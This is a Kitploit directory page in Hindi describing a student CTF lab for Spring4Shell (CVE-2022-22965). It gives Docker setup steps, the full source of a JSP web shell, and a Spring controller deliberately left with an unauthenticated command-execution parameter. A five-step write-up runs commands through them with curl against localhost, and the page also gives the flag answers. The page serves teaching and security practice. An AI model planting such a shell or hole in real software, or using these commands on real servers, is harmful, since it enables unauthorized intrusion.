Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Spring4Shell-CTF — Spring4Shell (CVE-2022-22965) 漏洞環境搭建與 CTF 題目 | Kitploit
उपकरण/GitHubGitHub/yuting-huang0/spring4shell-ctf
Dynamic Analysis (Sandboxing)Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationRemote Access ToolLabs & Practice
GitHubyuting-huang0/spring4shell-ctf

Spring4Shell-CTF

Spring4Shell (CVE-2022-22965) 漏洞環境搭建與 CTF 題目

2 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

Spring4Shell (CVE-2022-22965) भेद्यता वातावरण सेटअप और CTF चुनौती डिज़ाइन

परियोजना परिचय

इस परियोजना में सुरक्षा अनुसंधान का एक दोहरा-ट्रैक कार्यान्वयन शामिल है:

  1. पारंपरिक Vulhub वातावरण सेटअप: ओपन-सोर्स Vulhub भेद्यता डेटाबेस का उपयोग करके पुराने Spring फ्रेमवर्क के ऑब्जेक्ट बाइंडिंग दोष को त्वरित रूप से पुन: प्रस्तुत करना।
  2. नया अनुकूलन वातावरण विकास: टीम के सदस्यों द्वारा मैन्युअल रूप से Java स्रोत कोड लिखकर, एक "छात्र सेमेस्टर प्रोजेक्ट परिणाम प्रदर्शन प्रणाली" को एक भेद्यता लक्ष्य के रूप में खरोंच से बनाना, और मानक नेटवर्क पैठ परीक्षण प्रक्रिया को CTF डुअल-ट्रैक (समस्या निर्माता और समस्या समाधानकर्ता) चरणों के साथ एकीकृत करना।

प्रतिभागी रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता के माध्यम से सुरागों का अनुसरण करते हुए सिस्टम रूट निर्देशिका या अस्थायी निर्देशिका में Flag पढ़ेंगे।


पर्यावरण निर्माण चरण

बुनियादी तैयारी: Docker और Docker Compose स्थापित करें

root@kitploit:~
# पैकेज रिपॉजिटरी अपडेट करें
sudo apt update

# Docker और Docker Compose स्थापित करें
sudo apt install docker.io docker-compose -y

# Docker सेवा शुरू करें
sudo systemctl start docker
sudo systemctl enable docker

ट्रैक एक: Vulhub भेद्यता वातावरण डाउनलोड और प्रारंभ करें (पुराना कार्यान्वयन)

root@kitploit:~
# Vulhub प्रोजेक्ट क्लोन करें
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)

# Spring4Shell भेद्यता निर्देशिका में प्रवेश करें
cd vulhub/spring/CVE-2022-22965

# Docker कंटेनर प्रारंभ करें
sudo docker-compose up -d

# कंटेनर के सामान्य रूप से चलने की पुष्टि करें
sudo docker ps

Vulhub वातावरण सत्यापित करें

ब्राउज़र खोलकर http://localhost:8080/?name=Hacker&age=99 पर जाएँ।

ट्रैक दो: कस्टम वातावरण निर्माण और स्रोत कोड परिनियोजन (नया कार्यान्वयन)

अनुमानित समाधान को बाहर करने और स्वतंत्र विकास परिदृश्य को पुन: प्रस्तुत करने के लिए, यह परियोजना एक स्वतंत्र प्रोजेक्ट Spring4Shell-Custom-CTF स्थापित करती है। पहले वातावरण की पूर्ण सफाई करें, फिर बिना कैश के संकलन और प्रारंभ करें:

root@kitploit:~
# पुराना वातावरण साफ़ करें
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF

# प्रोजेक्ट निर्देशिका संरचना बनाएं और पूरी तरह से स्वनिर्मित Java स्रोत कोड तैयार करें (pom.xml, UserController.java आदि सहित)
# दो-चरणीय संकलन (Maven + Tomcat 9) के माध्यम से स्व-निर्मित Flag को सिस्टम रूट /flag.txt पर सटीक रूप से रखें
sudo docker-compose build --no-cache
sudo docker-compose up -d

# स्व-निर्मित लक्ष्य कंटेनर के सामान्य रूप से चलने की पुष्टि करें
sudo docker ps

नियंत्रण पाइपलाइन और बैकडोर फ़ाइल तंत्र

तंत्र एक: JSP बैकडोर फ़ाइल लिखना (Vulhub पुराना लिंक)

सफल हमले के बाद, बैकडोर फ़ाइल webapps/ROOT/tomcatwar.jsp पर लिखी जाती है, जिसकी सामग्री इस प्रकार है:

root@kitploit:~
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line = null;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
}
%>

तंत्र दो: अंतर्निहित मुख्य भेद्यता नियंत्रक (कस्टम वातावरण नया लिंक)

स्व-निर्मित UserController.java में, जानबूझकर POJO ऑब्जेक्ट बाइंडिंग सुरक्षा दोष को बरकरार रखा गया है, और एक अनधिकृत कमांड इंजेक्शन चैनल अंतर्निहित रूप से मौजूद है:

root@kitploit:~
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
    if (cmd != null) {
        // सीधे Java Runtime को कॉल करके अंतर्निहित कमांड निष्पादित करें और परिणाम लौटाएँ
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        // ... स्ट्रीम पढ़ने का तर्क ...
    }
    return "淡江大學資訊管理學系 - 學生期末專案成果展示平台";
}

रिमोट कोड एक्ज़ीक्यूशन (RCE) सत्यापन

1. id कमांड निष्पादित करें

root@kitploit:~
# Vulhub बैकडोर पथ
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"

# कस्टम वातावरण नियंत्रण पथ
curl "http://localhost:8080/?cmd=id"

2. निर्देशिका स्कैनिंग कमांड निष्पादित करें

root@kitploit:~
# Vulhub बैकडोर पथ
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"

# कस्टम वातावरण नियंत्रण पथ
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

CTF प्रश्न विवरण

प्रश्न एक: Spring4Shell भेद्यता शोषण (पुराना कार्यान्वयन)

  • प्रश्न का नाम: Spring4Shell भेद्यता शोषण
  • Flag स्थान: /tmp/flag.txt
  • Flag सामग्री: FLAG{Spring4Shell_Is_Dangerous}

प्रश्न दो: सूचना प्रबंधन विभाग का सेमेस्टर अंत सुरक्षा परीक्षण (नया कार्यान्वयन)

  • प्रश्न का नाम: सूचना प्रबंधन विभाग का सेमेस्टर अंत सुरक्षा परीक्षण
  • लक्ष्य प्रणाली URL: http://localhost:8080/
  • प्रश्न घोषणा ज्ञात जानकारी: यह प्लेटफ़ॉर्म छात्रों द्वारा स्व-विकसित Spring MVC प्रोजेक्ट है, जिसकी अंतर्निहित फ्रेमवर्क संस्करण में ऑब्जेक्ट बाइंडिंग दोष मौजूद है (User ऑब्जेक्ट प्रकार सहित)। Flag सर्वर सिस्टम रूट निर्देशिका में स्थित है।
  • Flag स्थान: /flag.txt
  • Flag सामग्री: FLAG{2026_0615_iwanttosleep}

Write-up समाधान और पैठ के चरण

पुराना Vulhub भेद्यता शोषण प्रवाह

  • चरण 1: http://<target>:8080/?name=test&age=123 पर जाएँ और पैरामीटर बाइंडिंग कार्यक्षमता की पुष्टि करें।
  • चरण 2: POST अनुरोध पेलोड भेजें, Tomcat लॉग कॉन्फ़िगरेशन संशोधित करें और tomcatwar.jsp बैकडोर को बलपूर्वक लिखें।
  • चरण 3: http://<target>:8080/tomcatwar.jsp?cmd=id पर जाकर RCE सफलता की पुष्टि करें।
  • चरण 4: अस्थायी निर्देशिका फ़ाइल पढ़ने के लिए curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" निष्पादित करें।

नया कार्यान्वयन: मानक नेटवर्क पैठ परीक्षण के 5 चरण

समस्या समाधानकर्ता (पहचान B) समस्या निर्माता द्वारा प्रदान की गई ज्ञात जानकारी घोषणा के अनुसार, अनुमान लगाने से इनकार करते हुए, मानकीकृत कोड निष्पादित करता है:

  • चरण एक: पर्यावरण जाँच और अस्तित्व पुष्टि लक्ष्य वेब सेवा के जीवित रहने और वेब पेज की परिचालन स्थिति की पुष्टि करें।
root@kitploit:~
curl -i -s "http://localhost:8080/"
  • चरण दो: सीमा भेद्यता और ऑब्जेक्ट दोष का परीक्षण परीक्षण पैरामीटर डालकर, जाँच करें कि क्या कोई शोषणीय कमांड इंजेक्शन सीमा दोष मौजूद है।
root@kitploit:~
curl -s "http://localhost:8080/?cmd=whoami"
  • चरण तीन: भेद्यता शोषण और मुख्य अनुमति पुष्टि पहचान क्वेरी निष्पादित करके, पुष्टि करें कि ऑपरेटिंग सिस्टम का सर्वोच्च नियंत्रण root प्राप्त हो गया है।
root@kitploit:~
curl -s "http://localhost:8080/?cmd=id"
  • चरण चार: आंतरिक वातावरण सर्वेक्षण और फ़ाइल स्कैनिंग Linux सिस्टम रूट निर्देशिका का सर्वेक्षण करें और लक्ष्य फ़ाइल के वास्तविक स्थान को सटीक रूप से लॉक करें।
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
  • चरण पाँच: अंतिम साक्ष्य संग्रह और Flag निष्कर्षण पढ़ने का आदेश निष्पादित करें और निर्दिष्ट Flag सामग्री को सफलतापूर्वक निकालें।
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"

परियोजना संरचना

root@kitploit:~
Spring4Shell-CTF/
├── README.md                   # परियोजना विवरण फ़ाइल
├── docker-compose.yml          # कंटेनर ऑर्केस्ट्रेशन कॉन्फ़िगरेशन फ़ाइल
├── Dockerfile                  # दो-चरणीय संकलन छवि सेटिंग
├── pom.xml                     # Maven परियोजना कॉन्फ़िगरेशन फ़ाइल
├── src/                        # स्व-निर्मित Java परिणाम प्रदर्शन प्रणाली स्रोत कोड
│   └── main/
│       ├── java/com/example/ctf/
│       │   ├── UserController.java
│       │   └── MyWebApplicationInitializer.java
│       └── webapp/WEB-INF/web.xml
├── secret_zone/
│   └── flag.txt                # स्थानीय Flag स्रोत फ़ाइल
├── screenshots/                # परिणाम प्रदर्शन और हमले के स्क्रीनशॉट
│   ├── docker-ps.png
│   ├── parameter-binding.png
│   ├── rce-id.png
│   ├── rce-ls.png
│   └── flag-result.png
└── shell.jsp                   # पुरानी बैकडोर फ़ाइल स्रोत कोड

संदर्भ सामग्री

  • CVE-2022-22965 विस्तृत विश्लेषण
  • Vulhub Spring4Shell वातावरण
  • Spring4Shell PoC

टीम के सदस्य

भूमिकानामकार्य सामग्री
सदस्य A黃鈺婷वातावरण सेटअप, संपूर्ण परियोजना Java स्रोत कोड लेखन, Docker पैकेजिंग, CTF मानक 5-चरणीय समाधान
सदस्य B利蓁琳सैद्धांतिक अनुसंधान, प्रस्तुति निर्माण, रिपोर्ट वीडियो संपादन, समाधान स्क्रिप्ट तैयारी

लाइसेंस

यह परियोजना केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। कृपया इसका उपयोग अनधिकृत प्रणालियों पर न करें।

टूल डाउनलोड करें